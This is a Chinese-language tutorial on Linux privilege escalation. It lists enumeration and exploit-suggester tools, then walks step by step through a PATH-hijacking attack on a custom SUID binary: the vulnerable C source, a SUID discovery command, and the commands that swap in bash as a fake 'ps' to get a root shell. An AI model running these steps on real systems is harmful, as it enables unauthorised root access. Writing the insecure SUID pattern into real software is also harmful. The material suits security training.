LINUX系统提权项目介绍
一个综合类探针:
Linux:https://github.com/liamg/traitor
一个自动化提权:
Linux:https://github.com/AlessandroZ/BeRoot
两个信息收集:
Linux:https://github.com/rebootuser/LinEnum
Linux:https://github.com/sleventyeleven/linuxprivchecker
两个漏洞探针:
Linux:https://github.com/mzet-/linux-exploit-suggester
Linux:https://github.com/jondonas/linux-exploit-suggester-2
二进制文件提权查询:
Linux:https://gtfobins.github.io/
Windows:https://lolbas-project.github.io/
Linux-环境变量文件配合SUID提权
前提条件:ROOT用户对某个第三方程序(管理员自己写的运维脚本等)给予了SUID权限
1.前提:目标root用户将可执行文件进行编译,保证文件的正常授权运行,给予ROOT权限执行。
文件:domo.c
#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("ps"); #system权限执行ps命令
}
2.编译demo文件重命名为shell(给到了suid权限),赋予执行权限 执行后运行ps命令
命令:gcc demo.c -o shell
chmod u+s shell
攻击者:
前提:已获取目标本地普通用户权限
1.探针:find / -user root -perm -4000 -print 2>/dev/null 探测除系统命令外管理员添加的具有suid权限的文件。
2.原ps命令查看当前进程 环境变量为/usr/bin/ps
命令:whereis ps
3.进入到/home目录,普通用户通过对shell文件反编译或源代码查看,发现执行shell文件就是调用ps命令。
4.覆盖其执行环境变量,直接让其执行指定程序获取权限。
命令:cp /bin/bash /home/ps #将/bin/bash复制为 /home/ps 相当于现在的/home/ps是bash命令
export PATH=/home:$PATH #环境变量加入/home 执行ps相当于执行/home/ps
./shell #shell执行,system权限执行ps命令,相当于suid执行bash就是直接提权
执行shell,成功提权
5.步骤总结:
1.普通用户权限下先获取suid所有程序
2.去除系统自带的一些命令(筛选第三方程序)
3.对该程序进行反编译或者找源码 明白该程序的作用
4.思考该程序有无执行一些环境变量命令 (ps ping su sudo 等 比如该shell程序执行了ps命令)
5.尝试通过复制suid提权命令 复制替换原来的执行命令 (先添加环境变量 优先执行复制后的命令)